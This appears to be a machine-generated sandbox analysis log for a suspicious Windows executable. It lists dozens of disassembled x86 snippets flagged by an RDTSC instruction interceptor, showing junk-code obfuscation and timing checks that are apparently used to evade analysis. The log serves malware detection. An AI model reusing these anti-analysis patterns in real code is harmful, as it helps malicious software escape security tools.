Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1AD6 second address: AA1B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAA8CDD0FCEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e add dword ptr [ebp+122D2D31h], edx 0x00000014 lea ebx, dword ptr [ebp+124496F6h] 0x0000001a mov dword ptr [ebp+122D2956h], edx 0x00000020 xchg eax, ebx 0x00000021 push edx 0x00000022 jp 00007FAA8CDD0FCCh 0x00000028 pop edx 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d jmp 00007FAA8CDD0FCFh 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E04 second address: AC1E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAA8CB48456h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E12 second address: AC1E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E17 second address: AC1E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FAA8CB48456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF0D second address: ABFF17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF17 second address: ABFF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jg 00007FAA8CB48456h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FAA8CB48464h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF3D second address: ABFF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF46 second address: ABFF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF4A second address: ABFF50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF50 second address: ABFF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAA8CB4845Fh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC04F0 second address: AC04F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC04F6 second address: AC0517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAA8CB48468h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C514 second address: A8C52D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAA8CDD0FC6h 0x00000008 jmp 00007FAA8CDD0FCBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC158E second address: AC1594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1594 second address: AC15BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD7h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c je 00007FAA8CDD0FCCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC15BE second address: AC15F2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAA8CB48462h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FAA8CB4845Ah 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007FAA8CB48456h 0x0000001a popad 0x0000001b ja 00007FAA8CB4846Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC15F2 second address: AC1606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC17AC second address: AC17B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1C6F second address: AC1C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1C73 second address: AC1C84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1C84 second address: AC1C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4BE7 second address: AC4BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Dh 0x00000009 jg 00007FAA8CB48456h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6BEA second address: AC6BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC729A second address: AC729F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FA90 second address: A8FAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD5h 0x00000009 push eax 0x0000000a jmp 00007FAA8CDD0FCFh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FAC2 second address: A8FADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FAA8CB48461h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FADE second address: A8FAE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC063 second address: ACC086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FAA8CB48469h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC086 second address: ACC0B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FAA8CDD0FCCh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC510 second address: ACC520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 js 00007FAA8CB48478h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC520 second address: ACC524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC688 second address: ACC68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC68C second address: ACC690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC7FD second address: ACC80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF09A second address: ACF0A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF0A0 second address: ACF14A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FAA8CB4845Ch 0x00000011 mov eax, dword ptr [eax] 0x00000013 push ebx 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jnp 00007FAA8CB4846Ah 0x00000023 pop eax 0x00000024 jnp 00007FAA8CB4846Eh 0x0000002a call 00007FAA8CB48459h 0x0000002f jmp 00007FAA8CB4845Dh 0x00000034 push eax 0x00000035 je 00007FAA8CB4846Fh 0x0000003b pushad 0x0000003c jmp 00007FAA8CB48465h 0x00000041 push edi 0x00000042 pop edi 0x00000043 popad 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 jnl 00007FAA8CB4845Ch 0x0000004e mov eax, dword ptr [eax] 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF14A second address: ACF14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF14E second address: ACF161 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF49B second address: ACF49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF49F second address: ACF4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FAA8CB48468h 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FAA8CB48456h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF5B6 second address: ACF5E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FAA8CDD0FCAh 0x00000014 jmp 00007FAA8CDD0FD1h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF5E1 second address: ACF5E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF797 second address: ACF7AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF7AD second address: ACF7C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnc 00007FAA8CB48458h 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FAA8CB48456h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0215 second address: AD021B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD03A4 second address: AD03AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD03AA second address: AD03C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA8CDD0FD3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0493 second address: AD049D instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD089E second address: AD08A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD08A2 second address: AD08C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FAA8CB48463h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2309 second address: AD2319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1B7B second address: AD1B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2319 second address: AD236D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FAA8CDD0FC8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 sub dword ptr [ebp+122D1E6Dh], edi 0x0000002b push 00000000h 0x0000002d jng 00007FAA8CDD0FD2h 0x00000033 push eax 0x00000034 jns 00007FAA8CDD0FD8h 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD236D second address: AD2371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2371 second address: AD2375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2E49 second address: AD2E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2BD1 second address: AD2BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2E4E second address: AD2EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D3599h] 0x00000010 sub dword ptr [ebp+12449169h], eax 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FAA8CB48458h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 sbb edi, 7A806422h 0x00000038 push edi 0x00000039 jmp 00007FAA8CB48468h 0x0000003e pop edi 0x0000003f push 00000000h 0x00000041 mov esi, dword ptr [ebp+122D26CAh] 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 je 00007FAA8CB48460h 0x0000004f jmp 00007FAA8CB4845Ah 0x00000054 jno 00007FAA8CB4845Ch 0x0000005a popad 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push edi 0x00000060 pop edi 0x00000061 jng 00007FAA8CB48456h 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD3928 second address: AD392E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD433C second address: AD4340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4340 second address: AD4345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4345 second address: AD434B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD434B second address: AD43A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FAA8CDD0FC8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, ecx 0x00000026 mov esi, 129C1FA4h 0x0000002b push 00000000h 0x0000002d mov esi, 5A574381h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FAA8CDD0FC8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov di, cx 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 push eax 0x00000056 pop eax 0x00000057 pop ebx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD43A8 second address: AD43AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD43AD second address: AD43D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FAA8CDD0FDDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4EA2 second address: AD4EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4EA6 second address: AD4F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FAA8CDD0FC8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D2EA1h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007FAA8CDD0FC8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D1E13h], esi 0x0000004e or dword ptr [ebp+122D2A89h], esi 0x00000054 push 00000000h 0x00000056 pushad 0x00000057 sub si, 9704h 0x0000005c mov bx, 4A98h 0x00000060 popad 0x00000061 mov dword ptr [ebp+122D1A97h], esi 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a jne 00007FAA8CDD0FCCh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4F3A second address: AD4F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4F40 second address: AD4F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD700F second address: AD7013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD75F9 second address: AD767C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FAA8CDD0FC8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov ebx, 27AC8D81h 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+124472E7h], edx 0x0000002e mov edi, dword ptr [ebp+122D1AC1h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FAA8CDD0FC8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D2613h], edi 0x00000056 xchg eax, esi 0x00000057 jc 00007FAA8CDD0FD2h 0x0000005d je 00007FAA8CDD0FCCh 0x00000063 jno 00007FAA8CDD0FC6h 0x00000069 push eax 0x0000006a pushad 0x0000006b pushad 0x0000006c push esi 0x0000006d pop esi 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD767C second address: AD7684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD97B6 second address: AD97BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7809 second address: AD78BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48467h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c and di, 2A61h 0x00000011 cld 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push edx 0x0000001a call 00007FAA8CB48460h 0x0000001f jmp 00007FAA8CB48468h 0x00000024 pop edi 0x00000025 pop ebx 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FAA8CB48458h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 pushad 0x00000048 xor esi, dword ptr [ebp+122D3421h] 0x0000004e mov esi, dword ptr [ebp+122D2DD5h] 0x00000054 popad 0x00000055 mov edi, 0323C6DBh 0x0000005a mov eax, dword ptr [ebp+122D0175h] 0x00000060 push ecx 0x00000061 jo 00007FAA8CB4845Ch 0x00000067 mov edi, dword ptr [ebp+122D340Dh] 0x0000006d pop edi 0x0000006e push FFFFFFFFh 0x00000070 mov ebx, dword ptr [ebp+122D34C5h] 0x00000076 nop 0x00000077 pushad 0x00000078 push esi 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD99A2 second address: AD99A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAA08 second address: ADAA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7BB second address: ADB7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
